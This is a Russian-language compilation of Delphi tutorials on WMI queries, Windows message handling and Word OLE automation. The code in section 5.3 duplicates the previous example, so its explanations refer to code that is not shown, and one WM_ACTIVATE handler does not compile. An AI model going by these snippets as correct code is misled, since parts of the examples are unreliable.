установлено, т.е. если соединение установить не удалось - ваша программа повиснет. Если содержит значение wbemConnectFlagUseMaxWait, то приложение ждёт две минуты после чего возвращает код ошибки. ObjwbemNamedValueSet - необязательный к указанию параметр. Обычно его не определяют (nil). Вообще говоря, можно указать объект типа SWbemNamedValueSet, который будет содержать информацию, которая может быть использована провайдером, обслуживающим данный запрос. Подробнее обо всех свойствах см. Platform SDK.
[ К коду ].
Примечание 2 Теперь получим описание интересующего нас класса, т.е. Win32_Processor. Делается это с помощью метода Get полученного нами объекта Service. Метод Get принимает следующие параметры:objWbemObject = Get( [strObjectPath = ""], [iFlags = 0], [objWbemNamedValueSet = null] )strObjectPath - необязательный к указанию параметр, содержащий название класса, описание которого мы желаем получить. Если данный параметр будет содержать нулевую строку, то будет создан новый класс. IFlags - необязательный к указанию параметр. Принимает только одно значение: wbemFlagUseAmendedQualifiers. ObjWbemNamedValueSet - см. выше. Подробнее обо всех свойствах см. Platform SDK.
[ К коду ].
Примечание 3 Теперь надо получить коллекцию экземпляров класса Win32_Processor. Делается это с помощью метода Instances_ объекта SObject. Метод Instances_ принимает следующие параметры:objWbemObjectSet = Instances_( [iFlags = wbemFlagReturnImmediately], [objwbemNamedValueSet = null] )iFlags - необязательный к указанию параметр, содержащий числовое значение типа Integer, определяющее поведение данного запроса. ObjwbemNamedValueSet - см. выше. Подробнее обо всех свойствах см. Platform SDK.
[ К коду ].
Исходный код и exe-файл данного примера вы сможете найти в прилагаемом к статье архиве в каталогах \source\GetProcessorData и \Exe-files соответственно.Вот что у меня получилось:
[ К содержанию ].
5.2. Получение данных о запущенных процессах.
Данный пример будет отличаться от предыдущего только тем, что я использую нехитрый приём и покажу, как вывести все свойства объекта некого класса, не зная самих имён этих свойств. Действуем так же, как и в первом примере:
var
Form1: TForm1;
ListItem: TListItem;
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
var
Service: ISWbemServices;
ObjectSet: ISWbemObjectSet;
SObject: ISWbemObject;
PropSet: ISWbemPropertySet;
SProp: ISWbemProperty;
PropEnum, Enum: IEnumVariant;
TempObj: OleVariant;
Value: Cardinal;
Column: TListColumn;
begin
ListView1.Items.BeginUpdate;
ListView1.Items.Clear;
Service := SWbemLocator1.ConnectServer('.', 'root\CIMV2', '', '', '', '', 0,
nil);
SObject := Service.Get('Win32_Process', wbemFlagUseAmendedQualifiers, nil);
ObjectSet := SObject.Instances_(0, nil);
Enum := (ObjectSet._NewEnum) as IEnumVariant;
{
На данном этапе начинаются некоторые незначительные отличия от первого примера.
В предыдущем примере, мы знали, что у нас был единственный экземпляр класса
Win32_Processor, характеризующий центральный процессор.
В данном примере мы имеем столько экземпляров, сколько запущенных процессов,
поэтому их все необходимо перебрать и получить их свойства:
}
// в этом цикле перебираю все имеющиеся экземпляры
while (Enum.Next(1, TempObj, Value) = S_OK) do
begin
SObject := IUnknown(TempObj) as SWBemObject;
PropSet := SObject.Properties_;
PropEnum := (PropSet._NewEnum) as IEnumVariant;
ListItem := ListView1.Items.Add;
// перебираю свойства
while (PropEnum.Next(1, TempObj, Value) = S_OK) do
begin
SProp := IUnknown(TempObj) as SWBemProperty;
if ListView1.Items.Count = 1 then
begin
Column := ListView1.Columns.Add;
Column.Width := 100;
Column.Caption := SProp.Name;
end;
ShowProp(SProp);
end;
end; { while }
ListView1.Items.EndUpdate;
end;
// В процедуре ShowProp происходит определение типа свойства
// и соответствующие приведение типа.
procedure TForm1.ShowProp(SProp: ISWbemProperty);
var
StrValue: string;
Count: Cardinal;
begin
StrValue := '';
if VarIsNull(SProp.Get_Value) then
StrValue := '<empty>'
else
case SProp.CIMType of
//******************************************************************//
wbemCimtypeUint8, wbemCimtypeSint8, wbemCimtypeUint16, wbemCimtypeSint16,
wbemCimtypeUint32, wbemCimtypeSint32, wbemCimtypeSint64:
if VarIsArray(SProp.Get_Value) then
begin
if VarArrayHighBound(SProp.Get_Value, 1)>
0 then
for Count := 1 to VarArrayHighBound(SProp.Get_Value, 1) do
StrValue := StrValue + ' ' + IntToStr(SProp.Get_Value[Count]);
end
else
StrValue := IntToStr(SProp.Get_Value);
//******************************************************************//
wbemCimtypeReal32, wbemCimtypeReal64:
StrValue := FloatToStr(SProp.Get_Value);
//******************************************************************//
…
//******************************************************************//
else
MessageBox(0, PChar('Unknown type'), PChar(Form1.Caption), MB_OK);
end; {case}
if ListItem.Caption = '' then
ListItem.Caption := StrValue
else
ListItem.SubItems.Add(StrValue);
end;
end.
Исходный код и exe-файл данного примера вы сможете найти в прилагаемом к статье архиве в каталогах \source\ GetProcessData и \Exe-files соответственно.
А выглядит это так:
[ К содержанию ].
5.3. Запуск приложений и выключение компьютера.
В данном примере я продемонстрирую, как использовать методы, предоставляемые провайдерами.
var
Form1: TForm1;
ListItem: TListItem;
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
var
Service: ISWbemServices;
ObjectSet: ISWbemObjectSet;
SObject: ISWbemObject;
PropSet: ISWbemPropertySet;
SProp: ISWbemProperty;
PropEnum, Enum: IEnumVariant;
TempObj: OleVariant;
Value: Cardinal;
Column: TListColumn;
begin
ListView1.Items.BeginUpdate;
ListView1.Items.Clear;
Service := SWbemLocator1.ConnectServer('.', 'root\CIMV2', '', '', '', '', 0,
nil);
SObject := Service.Get('Win32_Process', wbemFlagUseAmendedQualifiers, nil);
ObjectSet := SObject.Instances_(0, nil);
Enum := (ObjectSet._NewEnum) as IEnumVariant;
{
На данном этапе начинаются некоторые незначительные отличия от первого примера.
В предыдущем примере, мы знали, что у нас был единственный экземпляр класса
Win32_Processor, характеризующий центральный процессор.
В данном примере мы имеем столько экземпляров, сколько запущенных процессов,
поэтому их все необходимо перебрать и получить их свойства:
}
// в этом цикле перебираю все имеющиеся экземпляры
while (Enum.Next(1, TempObj, Value) = S_OK) do
begin
SObject := IUnknown(TempObj) as SWBemObject;
PropSet := SObject.Properties_;
PropEnum := (PropSet._NewEnum) as IEnumVariant;
ListItem := ListView1.Items.Add;
// перебираю свойства
while (PropEnum.Next(1, TempObj, Value) = S_OK) do
begin
SProp := IUnknown(TempObj) as SWBemProperty;
if ListView1.Items.Count = 1 then
begin
Column := ListView1.Columns.Add;
Column.Width := 100;
Column.Caption := SProp.Name;
end;
ShowProp(SProp);
end;
end; { while }
ListView1.Items.EndUpdate;
end;
// В процедуре ShowProp происходит определение типа свойства
// и соответствующие приведение типа.
procedure TForm1.ShowProp(SProp: ISWbemProperty);
var
StrValue: string;
Count: Cardinal;
begin
StrValue := '';
if VarIsNull(SProp.Get_Value) then
StrValue := '<empty>'
else
case SProp.CIMType of
//******************************************************************//
wbemCimtypeUint8, wbemCimtypeSint8, wbemCimtypeUint16, wbemCimtypeSint16,
wbemCimtypeUint32, wbemCimtypeSint32, wbemCimtypeSint64:
if VarIsArray(SProp.Get_Value) then
begin
if VarArrayHighBound(SProp.Get_Value, 1)>
0 then
for Count := 1 to VarArrayHighBound(SProp.Get_Value, 1) do
StrValue := StrValue + ' ' + IntToStr(SProp.Get_Value[Count]);
end
else
StrValue := IntToStr(SProp.Get_Value);
//******************************************************************//
wbemCimtypeReal32, wbemCimtypeReal64:
StrValue := FloatToStr(SProp.Get_Value);
//******************************************************************//
…
//******************************************************************//
else
MessageBox(0, PChar('Unknown type'), PChar(Form1.Caption), MB_OK);
end; {case}
if ListItem.Caption = '' then
ListItem.Caption := StrValue
else
ListItem.SubItems.Add(StrValue);
end;
end.
Пояснения к коду:
Примечание 1
Security_ - данное свойство используется в том случае, когда вы собираетесь считать или установить настройки безопасности для объекта SWbemServices. Объект SWbemSecurity имеет следующие свойства: AuthenticationLevel, ImpersonationLevel, Privileges. Нас в данном случае будет интересовать только второе свойство. ImpersonationLevel - Числовое значение. Данное свойство определяет, может ли процесс, владельцем которого является WMI, пользоваться правами вашей учётной записи, что может быть необходимо при обращении к другим процессам. Я буду пользоваться значением '3' (wbemImpersonationLevelImpersonate), что означает, что я наделяю данный объект правами того, кто его вызвал. Об остальных уровнях наследования прав читайте в SDK.
[ К коду ].
Примечание 2 Свойство Methods_ объекта SWbemObject представляет собой объект типа SWbemMethodSet, который является не чем иным, как коллекцией методов данного класса (или экземпляра класса). Данное свойство предназначено только для чтения (read-only). Единственный метод Item объекта SWbemMethodSet возвращает объект типа SWbemMethod. Метод Item принимает следующие параметры:objMethod = Item( strName, [iFlags = 0] )strName - необходимый параметр. Имя метода, указатель на который должен быть возвращён данным методом.
[ К коду ].
Примечание 3 Свойство InParameters объекта SWbemMethod определяет входные параметры для данного метода. Метод SpawnInstance_ объекта SWbemObject создаёт новый экземпляр класса. Данный метод имеет следующие входные параметры:objNewInstance = SpawnInstance_( [iFlags = 0] )Единственный параметр iFlags зарезервирован и не обязателен к указанию. Если указывается, то должен быть равен 0.
[ К коду ].
Примечание 4 Свойство Properties_ объекта SWbemObject представляет собой объект типа SWbemPropertySet, который является коллекцией свойств для данного класса или экземпляра. Метод Add объекта SWbemPrivilegeSet добавляет объект типа SWbemProperty к объекту SWbemPrivilegeSet. Данный метод имеет следующие входные параметры:objProperty = Add( strName, iCIMType, [bIsArray = FALSE], [iFlags = 0] )strName - обязательный к указанию параметр. Имя нового свойства. iCIMType - обязательный к указанию параметр. Определяет тип (CIMType) свойства. bIsArray - необязательный к указанию параметр. Определяющий является ли данное свойство массивом. По умолчанию False. iFlags - необязательный к указанию параметр. Зарезервирован. Если указывается, то должен быть равен 0.
[ К коду ].
Примечание 5 Для получения коллекции экземпляров Win32_OperatingSystem я намеренно воспользовался методом ExecQuery объекта ISWbemServices, что бы продемонстрировать работу данной ф-ии. Использование данного метода равносильно используемой мною ранее конструкции. Кстати, синтаксис WQL вам ничего не напоминает? ;) Правильно - WQL прямой потомок ANSI SQL, и соответствует синтаксису SQL. В WQL введены незначительные семантические изменения необходимые для работы с WMI. Так что вам даже не придётся учить новый язык запросов, для того что бы использовать WMI - Microsoft оказалась гуманной и мудрой в этом отношении и в очередной раз не усложнила нашу жизнь :) Для интересующихся правилами составления запросов: откруваем SDK, раздел "Querying with WQL", всё понятно и доступно.[ К коду ].
Исходный код и exe-файл данного примера вы сможете найти в прилагаемом к статье архиве в каталогах \source\ UseMethods и \Exe-files соответственно.[ К содержанию ].
5.4. Получения значений c температурных сенсоров и с установленных вентиляторов.
Данный пример не содержит каких-либо новых решений или приёмов, кроме проверки на существование провайдера (вернее возможности работать с ним), осуществляющего связь между требуемым компонентом системы и программой. У меня (Chaintech 7VJL (Apogee) VIA KT333 / Athlon XP 1600+ / Windows 2000 Professional SP3) не удаётся получить свойства некоторых классов, например, Win32_Fan и Win32_TemperatureProbe. Выражается это в том, что не удаётся получить экземпляр ни одного из этих классов. Дело в том, что WMI не может получить доступ к WMI провайдеру. Но, т.к. данные классы имеются в хранилище CIM классов, то получить описание данных классов удаётся:
Service := SWbemLocator1.ConnectServer('.', 'root\CIMV2', '', '', '', '', 0,
nil);
SObject := Service.Get('Win32_Fan', wbemFlagUseAmendedQualifiers, nil);
Но при выполнении: ObjectSet := SObject.Instances_(0, nil);Метод Instances_ не возвращает требуемой коллекции экземпляров и функция Enum.Next(1, TempObj, Value) вернёт значение S_FALSE, а при попытке выполнить PropSet := SObject.Properties_; как я сделал в первом примере, вы получите отказ в доступе (Access Violation), причина понятна….
Я проверял работу данного примера и на материнской плате Gigabyte VIA KT266 с аналогичным процессором и операционной системой - результат тот же.
Думаю, не нужно говорить о том, что обе материнских платы имеют соответствующие сенсоры для диагностики температурного режима и контроля вращения вентиляторов.Между тем, имеется информация о том, что данные параметры удаётся без проблем получить на материнских платах с чипсетами (chipset) фирмы Intel. Ничего по этому поводу сказать не могу - у меня в момент написания данной статьи не было возможности протестировать данный пример на компьютерах на базе чипсетов от Intel.
Исходный код и exe-файл данного примера вы сможете найти в прилагаемом к статье архиве в каталогах \source\ FanAndTemperature и \Exe-files соответственно.[ К содержанию ].
6. Послесловие.На этом я закончу рассказ о применении технологии WMI. Надеюсь, что теперь вы прониклись мыслью о том, что WMI крайне удобная и относительно несложная в реализации технология, которая поможет решить массу ваших проблем :) Microsoft продолжает активно развивать WMI, и в скором времени мы получим мощнейший инструмент, области применения которого очень и очень обширны. Нам, людям занимающимся программированием, как никому другому приходится год от года, месяц от месяца пополнять свой "боевой" арсенал всё новыми и новыми знаниями, приёмами, инструментами и методологиями. На мой взгляд, технология WMI может занять достойное место в вашем личном арсенале знаний. P.S. Если вам что-то не понятно в примерах или самой теории, то прежде чем отягощать кого-либо своими расспросами, откройте Platform SDK Documentation, затратьте немного своего драгоценного времени и поищите самостоятельно ответы на свои вопросы. Как показывает практика многих поколений - решение, найденное самостоятельно, стоит нескольких, полученных от кого-то. Но если всё же у вас ничего не выйдет - пишите мне, будем разбираться вместе :)WM_ACTIVATE.
Сообщение посылается, когда окно переводится в активное или неактивное состояние. Сначала посылается окну, переходящему в неактивное состояние, а потом - активируемому.
Параметры:
Active - показывает состояние, приобретаемое окном, а именно активизируется или деактивизируется окно. Тип параметра Word WA_ACTIVE - окно активизируется не щелчком мыши WA_CLICKACTIVE - окно активизируется щелчком мыши WA_INACTIVE - окно деактивизируется ActiveWindow - дескриптор, который указывает на окно, из которого фокус переключился на данное окно, если оно активируется, или на окно, в которое передается управление, если данное окно деактивируется. Тип параметра HWND Result - возвращаемое значение. Если приложение обрабатывает это сообщение, оно должно возвращать нуль. Тип параметра Integer Minimized - свидетельствует о том, что окно минимизировано. Тип параметра WordBoolДействие по умолчанию
Если активируемое окно не свернуто, то оно получает фокус.
Примечания
Если окно активируется щелчком мыши, оно получает также сообщение WM_MOUSEACTIVATE.
Давайте рассмотрим пример использования этого сообщения. Например у нас есть GroupBox собственного производства. Его состав таков: на заднем плане находится панель (компонент класса TPanel). Его свойство BevelOuter установлено в bvLowered, а свойство BevelInner равно bvRaised - в итоге получается такая вогнутая каемка, как показана на рисунке. Сверху на эту панель была вынесена ещё одна, которая является заголовочной и по сценарию её цвет должен меняться вместе с заголовочной полосой, в зависимости от того становиться ли главное окно приложения активным или неактивным. У этой панели свойство BevelOuter установлено в bvRaised, а свойство BevelInner равно bvNone. На эту панель выносится метка (компонент TLabel), её свойству Align присваиваем alClient, а свойству Alignment - taCenter, чтобы метка выравнилась по всей области панели, а её заголовок находился в центре.
Как же заставить панель изменять цвет?
Сначала нужно в частных объявлениях объявить процедуру обработки данного сообщения.
private
{ Private declarations }
procedure wmActivate (var Msg:TWMACTIVATE);
message wm_Activate;
|
В области реализации (implementation) её нужно описать так.
procedure TForm1.WMActivate (var Msg:TWMActivate);
begin
{если окно получило фокус ввода по щелчку мыши или как иначе...}
if (Msg.Active = WA_ACTIVE) or (Msg.Active = WA_CLICKACTIVE)then
begin
{...тогда цвет панели делаем равным цвету активной заголовочной полосы окна}
Panel1.Color := clActiveCaption
{иначе...}
else
{...цвет панели будет соответствовать НЕактивной заголовочной полосе окна}
Panel1.Color := clInactiveCaption;
inherited;
end;
|
Если из главного окна вызывается другое, и мы хотим в тот момент, когда оно теряет фокус ввода - минимизировать его, нужно код реализации процедуры немного изменить:
procedure TForm1.WMActivate (var Msg:TWMActivate);
begin
if (Msg.Active = WA_ACTIVE) or (Msg.Active = WA_CLICKACTIVE)then
begin
Panel1.Color := clActiveCaption;
{сворачиваем второстепенное окно, когда оно теряет фокус ввода}
ShowWindow(Msg.ActiveWindow, sw_minimize);
end
else
begin
Panel1.Color := clInactiveCaption;
{восстанавливаем второстепенное окно, когда оно активизируется}
ShowWindow(Msg.ActiveWindow, sw_restore);
end;
inherited;
end;
|
Обратите внимание на ключевое слово inherited, которое позволяет посланное сообщение обработать процедуре класса предка.
WM_ACTIVATEAPP.
Сообщение посылается при переходе активности от окна одного приложения к окну другого приложения. Сообщения посылаются обоим окнам.
Параметры:
Active - значение true означает, что окно становится активным, а false - что окно теряет активность. Тип параметра LongBool ThreadId - указывает сторонний процесс, который теряет или приобретает активность. Тип параметра Integer Result - возвращаемое значение. Если приложение обрабатывает это сообщение, оно должно возвращать нуль. Тип параметра IntegerWM_CANCELMODE.
Сообщение посылается окну, имеющему фокус при отображении модальных форм - диалогов и сообщений об ошибках. Дает возможность окну закрыться и освобождает мышь.
Параметры:
Параметры отсутствуют.
Возвращаемое значение
Если приложение обрабатывает это сообщение, оно должно возвращать нуль.
Действие по умолчанию
Внутренний процесс завершается и мышь освобождается.
Связь между процессами при помощи WM_COPYDATA.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
// Sender: Send data
// Sender: Daten schicken
procedure TForm1.Button1Click(Sender: TObject);
var
aCopyData: TCopyDataStruct;
hTargetWnd: HWND;
begin
with aCopyData do
begin
dwData := 0;
cbData := StrLen(PChar(Edit1.Text)) + 1;
lpData := PChar(Edit1.Text)
end;
// Search window by the window title
// Fenster anhand des Titelzeilentext suchen
hTargetWnd := FindWindowEx(0, 0, nil, PChar('WM_COPYDATA-Receiver'));
if hTargetWnd <> 0 then
SendMessage(hTargetWnd, WM_COPYDATA, Longint(Handle), Longint(@aCopyData))
else
ShowMessage('No Recipient found!');
end;
(* -------------------------------------------------------------------- *)
// Recipient - Receive data
// Empfanger - Daten empfangen
type
TForm1 = class(TForm)
private
{ Private declarations }
procedure WMCopyData(var Msg: TWMCopyData); message WM_COPYDATA;
public
{ Public declarations }
end;
procedure TForm1.WMCopyData(var Msg: TWMCopyData);
var
sText: array[0..99] of Char;
begin
// generate text from parameter
// anzuzeigenden Text aus den Parametern generieren
StrLCopy(sText, Msg.CopyDataStruct.lpData, Msg.CopyDataStruct.cbData);
// write received text
// Empfangenen Text ausgeben
label1.Caption := sText;
end;
WM_CLOSE.
Сигнализирует, что окно или приложение закрывается.
Параметры
Параметры отсутствуют.
Возвращаемое значение
Если приложение обрабатывает это сообщение, оно должно возвращать нуль.
Действие по умолчанию
Вызывается функция DestroyWindow, уничтожающая окно.
Примечания
Приложение при обработке этого сообщения может запросить пользователя о необходимости закрывать окно и вызвать функцию DestroyWindow только при положительном ответе.
Перетаскивать файлы в свою программу - WM_DROPFILES.
Большинство программ, предназначенных для работы с текстом, предоставляют пользователю возможность перетаскивать файлы в свою программу, а мы что лысые... :-)) ...щас тоже организуем:
Подключаем модуль ShellAPI в области uses По созданию окна [событие OnCreate] пишем такой код:
DragAcceptFiles(Handle, true); |
protected procedure WMDropFiles (var Msg: TMessage); message wm_DropFiles; |
procedure TForm1.WMDropFiles(var Msg: TMessage); var FileName: array[0..256] of char; begin DragQueryFile(THandle(Msg.WParam), 0, FileName, SizeOf(Filename)); Memo1.Lines.LoadFromFile(FileName); DragFinish(THandle(Msg.WParam)); end; |
Или так:
procedure TForm1.WMDROPFILES(var Msg: TMessage);
var
i, amount, size: integer;
Filename: PChar;
begin
inherited;
Amount := DragQueryFile(Msg.WParam, $FFFFFFFF, Filename, 255);
for i := 0 to (Amount - 1) do
begin
size := DragQueryFile(Msg.WParam, i, nil, 0) + 1;
Filename := StrAlloc(size);
DragQueryFile(Msg.WParam, i, Filename, size);
listbox1.items.add(StrPas(Filename));
StrDispose(Filename);
end;
DragFinish(Msg.WParam);
end;
|
WM_GETMINMAXINFO.
Посылается перед изменением размеров или положения окна. Обработчик сообщения может использоваться для ограничения допустимых размеров и координат положения на экране.
Параметры
MinMaxInfo - указывает на структуру типа MINMAXINFO, содержащую принятые по умолчанию пределы изменения размеров и координат положения окна. Описание этой структуры:
typedef struct tagMINMAXINFO{
POINT ptReserved;
POINT ptMaxSize;
POINT ptMaxPosition;
POINT ptMinTrackSize;
POINT ptMaxTrackSize;
} MINMAXINFO;
|
Поля структуры означают следующее:
ptReserved - Зарезервировано и пока не используется ptMaxSize - Поле типа Point определяет ширину (Point.x) и высоту (Point.y) развернутого окна ptMaxPosition - Поле типа Point определяет положения левого (Point.x) и верхнего (Point.y) краев развернутого окна ptMinTrackSize - Поле типа Point определяет минимальную ширину (Point.x) и минимальную высоту (Point.y) окна при изменении пользователем размеров его рамки ptMaxTrackSize - Поле типа Point определяет максимальную ширину (Point.x) и максимальную высоту (Point.y) окна при изменении пользователем размеров его рамкиВозвращаемое значение
Если приложение обрабатывает это сообщение, оно должно вернуть 0.
Пример:
Сначала нужно в частных объявлениях (после слова private) объявить процедуру обработки данного сообщения.
private
{ Private declarations }
procedure WMGETMINMAXINFO (var Msg:TWMGETMINMAXINFO); message WM_GETMINMAXINFO;
|
В области реализации (implementation) её нужно описать так:
procedure TForm1.WMGetMinMaxInfo(var Msg:TWMGetMinMaxInfo);
begin
with Msg.MinMaxInfo^ do
begin
ptMinTrackSize.x:=308; { минимальная ширина окна }
ptMinTrackSize.y:=180; { минимальная высота окна }
ptMaxTrackSize.x:=400; { максимальная ширина окна }
ptMaxTrackSize.y:=250; { максимальная высота окна }
ptMaxPosition.x:=BoundsRect.Left; { максимальная позиция окна по оси Х после максимизации }
ptMaxPosition.y:=BoundsRect.top; { максимальная позиция окна по оси У после максимизации }
ptMaxSize.x:=308; { максимальная ширина окна после максимизации }
ptMaxSize.y:=180; { максимальная высота окна после максимизации }
end;
inherited;
end;
|
Перемещение окна вне заголовка.
| - Чем компьютер лучше девушки? - Мама твоего компьютера не претендует стать твоей тёщей. |
Нужно объявить три глобальные переменные в публичных объявлениям (после ключевого слова Public):
public
{ Public declarations }
Draging: Boolean;
X0, Y0: integer;
|
Далее описываем события формы OnMouseDown, OnMouseMove и OnMouseUp:
procedure TForm1.FormMouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
Draging := true;
x0 := x;
y0 := y;
end;
procedure TForm1.FormMouseUp(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
Draging := false;
end;
procedure TForm1.FormMouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
begin
if Draging = true then
begin
Form1.Left := Form1.Left + X - X0;
Form1.top := Form1.top + Y - Y0;
end;
end;
|
Перемещение окна вне заголовка 2.
Нужно объявить процедуру в частных объявлениям (после ключевого слова Private):
private
{ Private declarations }
procedure WMNCHitTest (var M: TWMNCHitTest); message wm_NCHitTest;
|
В области implementation описываем процедуру так:
implementation
{$R *.DFM}
procedure TForm1.WMNCHitTest (var M:TWMNCHitTest);
begin
inherited;
if M.Result = htClient then
M.Result := htCaption;
end;
|
Мы выдаём клиентскую область окна за заголовочную область.
Перемещение окна вне заголовка 3.
Хочу показать еще один способ перемещения окна за его тело Обрабатываем OnMouseDown:
ReleaseCapture; Perform(WM_SYSCOMMAND, $F012, 0); |
Обработка WM_SysCommand.
Автор: Neil J. Rubenking
Системное меню в приложениях Delphi ведет двойную жизнь - когда основная форма активна, работает системное меню главной формы, но когда приложение минимизировано, работает системное меню объекта Applictaion. Этот код может оказаться полезным:
CONST
SC_UDF = $EFF0; {должен быть < $F000 и делиться на 16}
procedure TForm1.FormCreate(Sender: TObject);
begin
AppendMenu(GetSystemMenu(Handle, False), MF_STRING, SC_UDF, 'Всегда на&верху');
AppendMenu(GetSystemMenu(Application.Handle, False), MF_STRING, SC_UDF, 'Всегда на&верху');
Application.OnMessage := AppOnMessage;
end;
procedure TForm1.AppOnMessage(VAR Msg: TMsg; VAR Handled: Boolean);
BEGIN
IF Msg.Message <> WM_SYSCOMMAND THEN
Exit;
IF Msg.wParam AND $FFF0 <> SC_UDF THEN
Exit;
... здесь вы можете включить код для обработки системного сообщения ...
END;
|
Узнать, когда пользователь или программа изменили системное время - WM_TIMECHANGE.
| Основное различие между пользователя и хакером, взламывающим какую-либо систему это то, что действия пользователя непредсказуемы, и он действует на более широком фронте. |
Когда меняется системное время всем окнам верхнего уровня рассылается сообщение WM_TIMECHANGE, нужен только обработчик этого сообщения.
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls,
Forms, Dialogs, StdCtrls, ExtCtrls;
type
TForm1 = class(TForm)
Timer1: TTimer;
private
{ Private declarations }
{ Объявляем процедуру обработки сообщения }
procedure WMTIMECHANGE(var message: TWMTIMECHANGE);
message WM_TIMECHANGE;
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
{ реализация процедуры обработки сообщения }
procedure TForm1.WMTIMECHANGE(var message: TWMTIMECHANGE);
begin
{например, по возникновению события уведомим об этом пользователя,
отобразив в заголовке окна соответствующую надпись}
Form1.Caption := 'Time has changed';
end;
end.
|
WordBasic через OLE.
Попробуйте следующее:
MsWord := CreateOleObject('Word.Basic');
MsWord.FileNewDefault;
MsWord.TogglePortrait;
|
Wordbasic с параметрами из Delphi.
| Имевшая место дискуссия двух начинающих программистов-школьников. Повод - спор, кто больше операторов Бейсика назовет. Перебрали почти все им известные, долго думают. Первый (радостно): LINE! Второй (спокойно): LINE INPUT! Первый (с досадой): ГНИДА! Второй (спокойно): ГНИДА INPUT! |
Привожу некоторый Delphi код для работы с Word 95. Я протестировал его под Word 97 и, как оказалось, потребовалось внести некоторые исправления - он не захотел работать под ним, но что самое неприятное - после исправлений ошибок выяснилось, что Word 97 работает значительно медленнее, чем Word 95. SendKeys был применен от отчаяния.
function TAutoMerge.ProcessMerge(FSource, FData, FOutput: string):
boolean;
var
MSWord: Variant;
i, NumDocs: integer;
Found: boolean;
s, LastOLECommand: string;
begin
ProcessMerge := False;
try
LastOLECommand := 'Creating OLE Object.';
MSWord := CreateOLEObject('Word.Basic');
LastOLECommand := 'Show MS Word.';
MSWord.AppShow;
Application.ProcessMessages;
LastOLECommand := 'Open document file >' + FSource + '<.';
MSWord.FileOpen(Name := FSource, ConfirmConversions := 0,
ReadOnly := 1, AddToMru := 0, PasswordDoc := '',
PasswordDot := '', Revert := 0,
WritePasswordDoc := '',
WritePasswordDot := '');
LastOLECommand := 'Screen updating = false.';
MSWord.ToolsOptionsSpelling(AutomaticSpellChecking := 0);
LastOLECommand := 'Set background printing to off.';
MSWord.ToolsOptionsPrint(Background := 0);
Application.ProcessMessages;
LastOLECommand := 'Open Data file >' + FData + '<.';
MSWord.MailMergeOpenDataSource(Name := FData, ConfirmConversions := 0,
ReadOnly := 1, LinkToSource := 1,
AddToMru := 0,
PasswordDoc := '', PasswordDot := '',
WritePasswordDoc := '', WritePasswordDot := '',
Connection := '', SQLStatement := '',
SQLStatement1 := '',
Revert := 1);
LastOLECommand := 'Start the Mail Merge.';
MSWord.MailMerge(CheckErrors := 2, Destination := 1,
MergeRecords := 0,
From := '', to := '', Suppression := 0,
MailSubject := '',
MailAsAttachment := 0, MailAddress := '');
LastOLECommand := 'Set up for SendKeys to select printer.';
Application.ProcessMessages;
MSWord.AppShow;
s := '{home}%l{enter}{home}%n' + FOutput + '{tab}{enter}{home}{enter}';
// sdd 1.1
MSWord.SendKeys(s, -1);
MSWord.MailMergeToPrinter;
Application.ProcessMessages;
ProcessMerge := True;
LastOLECommand := 'All done with merge.';
except
on EOleException do
begin
inc(TotalOLEErrors);
lblStatus.caption := LastOLECommand;
if (TotalOLEErrors >= TOTALOLEERRORS_MAX) then
begin
s := 'Имеется по крайней мере одна ошибка OLE (' +
IntToStr(TotalOLEErrors) +
'), последней ошибкой было >' + LastOLECommand + '<.';
ShowMessage(s);
end;
end
end;
end;
|
Как WordDocument разбить на страницы.
Автор: AME
// Одна страница ... var a: OleVariiant; begin a := wdPageBreak; WordApplication1.Selection.InsertBreak(a); ... // Следующая страница |
Управление Word-ом из Delphi.
Здесь мы рассмотрим пример того, как управлять объектами Word-а (Excel - аналогично) из программ на Delphi. Исходный код примера можно скачать на страничке 'DownLoad'
Для чего это нужно
Задачи могут быть самые разные, в общем случае это использование возможностей Word-а в своей программе, н-р: проверка текста на орфографию; печать текста, графики; экспорт отчетов в Word или изначальное создание их там и т.д.
Подготовительные работы
На самом деле существует несколько способов сделать это, мы рассмотрим только один (пример кроме Delphi 5, в Delphi5 для этого есть компоненты на закладке Servers переименуете в программе типы на соответствующие компоненты, дальше так же). Для начала начнем новый проект File, New Application; File, Save All. Создадим отдельную папку для проекта и сохраним Unit1 как Main, а Project1 как WordWriter. Далее для работы с Word-ом нам потребуется библиотека типов Word-а, это делается так: Project, Import Type Library, Add, далее переходим в папку, где стоит Word ( у меня это - "c:\program files\microsoft office) , заходим в папку Office и выбираем файл - msword8.olb (цифра -? версии Word-а - у Вас может отличаться ) или excel8.olb (для Excel).Нажимаем Ок. Delphi создаст 2 файла - Word_tlb.pas и Office_tlb.pas, их надо включить в раздел uses модуля Main нашего проекта:
uses Office_Tlb, word_tlb; |
Теперь займемся непосредственно программированием
В разделе var опишем следующие переменные:
// класс приложения ворда WordApp: Word_tlb.Application_; // класс чего-то типа выделения, // т.е. говоришь - выделить ячейку с ... по, а результат скидываешь // в эту перем и работаешь с этими ячейками как с 1 объектом ARange, TempRange: Range; // массив документов Docs: documents; // 1 документ Doc: document; // массив параграфов pars: Paragraphs; // 1 параграф par: Paragraph; // параметры для передачи Template, temp, OpenAsTemplate: olevariant; // массив таблиц tabls: Tables; // 1 таблица tabl: Table; // рабочая переменная i: integer; |
Далее проектируем форму:
